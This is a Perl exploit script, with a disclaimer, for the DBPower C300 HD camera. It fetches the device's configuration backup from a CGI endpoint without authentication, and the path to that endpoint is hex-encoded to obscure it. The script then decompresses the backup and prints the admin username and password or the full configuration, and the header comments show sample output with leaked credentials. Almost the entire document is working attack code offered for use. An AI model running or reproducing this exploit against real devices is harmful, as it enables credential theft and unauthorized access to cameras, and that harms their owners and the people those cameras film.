#!/usr/bin/perl
#
# DBPower C300 HD Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev <todor.donev at gmail.com>
#
# https://donev.eu/
# https://donev.eu/blog/dbpower-c300-multiple-vulnerabilities
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
#
# [ DBPower C300 HD Camera Remote Configuration Disclosure
# [ ==========================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com>
# [ Initializing the browser
# [ >> User-Agent => Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date =>
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 25730
# [ << Content-Type => application/octet-stream
# [ << Last-Modified =>
# [ << Client-Date =>
# [ << Client-Peer => 192.168.1.103:8080
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ DBPower C300 HD Camera Remote Configuration Disclosure\n";
print "[ ==========================================================\n";
print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
exit;
}
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ \n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...\n[\n";
print "[ ", $_, "\n" for split(/\n/,$config);
exit;
} else {
print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
exit;
}
